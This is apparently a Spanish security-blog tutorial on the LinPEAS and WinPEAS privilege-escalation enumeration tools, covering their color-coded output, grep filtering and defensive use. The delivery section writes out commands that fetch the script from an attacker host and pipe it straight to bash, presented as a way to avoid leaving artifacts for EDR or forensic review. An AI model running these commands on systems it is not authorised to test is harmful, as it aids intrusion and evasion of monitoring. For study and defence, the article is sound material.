Saltar al contenido

LinPEAS y WinPEAS: de 3.000 líneas de salida a lo que realmente importa

    LinPEAS y WinPEAS:

    de 3.000 líneas de salida a lo que realmente importa

    Post-explotación y escalada de privilegios  |  unfantasmaenelsistema.com

    Una vez dentro de una máquina con un usuario de bajo privilegio, la pregunta deja de ser «¿cómo entro?» y pasa a ser «¿qué hay aquí que me permita subir a root o a SYSTEM?». La respuesta casi siempre está en el propio sistema —un cron mal permisado, un binario SUID, una clave de registro que nadie revisó desde la instalación— pero revisarlo todo a mano lleva horas. LinPEAS y WinPEAS, del proyecto PEASS-ng, automatizan esa revisión: 400 y 300 comprobaciones respectivamente, en segundos, sin explotar nada por sí solas. Se limitan a señalar dónde mirar.

    Qué aprenderás en este artículo

    Qué comprueban de verdad LinPEAS y WinPEAS, y qué NO hacen (no explotan, solo enumeran) · El sistema de colores que convierte miles de líneas de salida en una lista de prioridades · Las tres formas habituales de hacer llegar el script al objetivo, y por qué la ejecución en memoria importa · Cómo filtrar la salida con grep en lugar de leerla entera de arriba a abajo · Qué le dice esta herramienta a un defensor sobre su propia infraestructura

    1. Qué son (y qué no son) LinPEAS y WinPEAS

    PEASS-ng —Privilege Escalation Awesome Scripts Suite, mantenido por carlospolop— agrupa LinPEAS (Bash/Python, para Linux, macOS y BSD) y WinPEAS (binario .NET o script BAT, para Windows). Ninguno de los dos explota nada: recorren el sistema comprobando decenas de vectores de escalada conocidos —permisos de archivos, tareas programadas, credenciales en texto plano, configuraciones por defecto— y presentan lo que encuentran clasificado por probabilidad de que sea explotable. La explotación en sí, después, la decide y ejecuta quien lee el informe.

    CategoríaLinPEASWinPEAS
    Kernel / parchesSíSí
    Usuarios y gruposSíSí
    ServiciosSíSí
    Tareas / cronSíSí
    SUID / capabilitiesSíNo aplica
    Registro de WindowsNo aplicaSí
    Credenciales en discoSíSí
    Contenedores (Docker/LXC)SíLimitado

    2. El problema real no es encontrarlo, es no ahogarse en la salida

    Una ejecución completa de LinPEAS puede superar fácilmente las tres mil líneas de salida. El aporte que de verdad diferencia a PEASS-ng de un script casero de enumeración es su sistema de colores: cada hallazgo se marca según lo probable que sea que sea un vector de escalada real, para que la primera pasada sea de segundos, no de media hora.

    ColorQué significaQué hacer
    Rojo sobre fondo rojoVector de escalada con altísima probabilidad (95%+)Revisar primero, siempre
    RojoConfirmado o muy probableRevisar siempre
    AmarilloConfiguración anómala, no siempre explotableRevisión manual con calma
    Verde / cianInformación de contexto o de sistemaConsultar solo si hace falta
    Sin colorInformación genérica de referenciaIgnorar en una primera pasada

    La regla que ahorra más tiempo

    Empieza siempre por el rojo. Si no hay nada en rojo, pasa al amarillo. El resto de la salida está ahí para dar contexto cuando ya se tiene una hipótesis concreta que confirmar, no para leerse entera de arriba a abajo

    3. Hacer llegar el script al objetivo

    Hay tres formas habituales de ejecutar LinPEAS o WinPEAS sobre una máquina a la que ya se tiene acceso, y no son intercambiables: cada una deja un rastro distinto.

    # 1) Servidor HTTP desde el equipo atacante + descarga y ejecucion directa
    python3 -m http.server 8080                                  # en el atacante
    curl -s http://IP_ATACANTE:8080/linpeas.sh | bash             # en el objetivo
     
    # 2) Ejecucion en memoria, sin escribir el script en disco
    curl -sL https://.../linpeas.sh | bash
    bash -c "$(curl -sL http://IP_ATACANTE:8080/linpeas.sh | base64 -d)"
     
    # 3) Transferencia clasica y ejecucion posterior
    scp linpeas.sh usuario@objetivo:/tmp/

    Por qué importa la opción en memoria

    Un script que se descarga, se guarda en /tmp y se ejecuta desde ahí deja un artefacto en disco que cualquier EDR o una revisión forense posterior puede encontrar. Ejecutarlo directamente desde el pipe de curl (o decodificado desde base64) evita ese artefacto — a costa de que la petición HTTP en sí misma sí queda registrada en cualquier log de red o proxy

    4. Leer la salida con criterio, no de arriba a abajo

    Guardar la salida completa y filtrarla después con grep es, en la práctica, más rápido que leerla en la propia terminal mientras se ejecuta.

    # Guardar la salida completa, sin colores ANSI en el archivo
    bash linpeas.sh 2>/dev/null | tee /tmp/linpeas_output.txt
     
    # Quedarse solo con lo marcado al 95%
    cat /tmp/linpeas_output.txt | grep '95%'
     
    # Aislar una seccion completa por nombre
    cat /tmp/linpeas_output.txt | grep -A 10 'SUID'
    cat /tmp/linpeas_output.txt | grep -A 10 'Cron'

    Un hallazgo típico marcado al 95% tiene esta pinta: un cron de root que ejecuta cada minuto un script sobre el que el usuario actual sí tiene permiso de escritura. LinPEAS no va a modificar ese script por ti — se limita a decir, en rojo, que ese archivo concreto es escribible y que lo ejecuta root, que es exactamente la combinación que convierte un hallazgo en un camino de escalada.

    95% PE /opt/scripts/cleanup.sh is writable by current user!
    -rwxrwxr-x 1 root www-data 142 /opt/scripts/cleanup.sh

    5. La lectura defensiva

    Un administrador que ejecuta LinPEAS o WinPEAS contra su propia infraestructura está viendo exactamente lo mismo que vería un atacante que ya tuviera un punto de apoyo inicial. La lista de colores no es solo una guía de ataque, es directamente una lista de correcciones pendientes.

    • Cualquier hallazgo en rojo es una corrección prioritaria, no una nota para «revisar cuando haya tiempo»
    • Monitorizar la descarga y ejecución de scripts no firmados vía curl/wget seguido de un pipe a bash es una señal de post-explotación clásica, detectable a nivel de EDR o de logs de shell
    • Auditar con la propia herramienta de forma periódica, no solo tras un incidente — la superficie de privesc cambia con cada despliegue nuevo, cada cron añadido, cada permiso relajado «solo por hoy»

    Encuadre legal

    Ejecutar LinPEAS o WinPEAS contra un sistema del que no eres propietario ni tienes autorización expresa es un delito de acceso ilícito a sistemas de información (art. 197 bis del Código Penal), exactamente igual que cualquier otra herramienta de post-explotación. Practica siempre contra tu propio laboratorio o una máquina desplegada explícitamente para ello.

    Conclusión

    LinPEAS y WinPEAS no encuentran nada que un auditor con tiempo ilimitado no pudiera encontrar a mano: encuentran lo mismo en segundos, y lo presentan ordenado por lo urgente que es mirarlo. Ese orden —rojo primero, amarillo después, el resto como contexto— es la diferencia real entre una escalada de privilegios que lleva minutos y una que lleva toda la tarde.

    La otra mitad del ejercicio, la que ninguna herramienta automatiza, es entender por qué cada hallazgo en rojo es explotable y confirmarlo a mano antes de actuar sobre él.

    Practica esto en el laboratorio guiado de GhostAcademy

    GhostAcademy dedica un manual completo a PEASS-ng, con los tres métodos de despliegue, la interpretación detallada del output de LinPEAS y WinPEAS, y laboratorios prácticos de cron inseguro, binarios SUID, capabilities mal configuradas y servicios de Windows vulnerables.

    Abrir la guía de PEASS-ng →

    Referencias

    La guía interactiva de PEASS-ng de GhostAcademy, con despliegue, lectura del output y laboratorios prácticos de Linux y Windows · GTFOBins, el catálogo de referencia que LinPEAS enlaza automáticamente cuando detecta un binario SUID potencialmente explotable · Un artículo de esta serie recorre la escalada de privilegios en Linux con más profundidad, más allá de lo que automatiza esta herramienta

    unfantasmaenelsistema.com | Seguridad, sistemas y todo lo que no debería funcionar (pero funciona)

    Resumen de privacidad

    Esta web utiliza cookies para que podamos ofrecerte la mejor experiencia de usuario posible. La información de las cookies se almacena en tu navegador y realiza funciones tales como reconocerte cuando vuelves a nuestra web o ayudar a nuestro equipo a comprender qué secciones de la web encuentras más interesantes y útiles.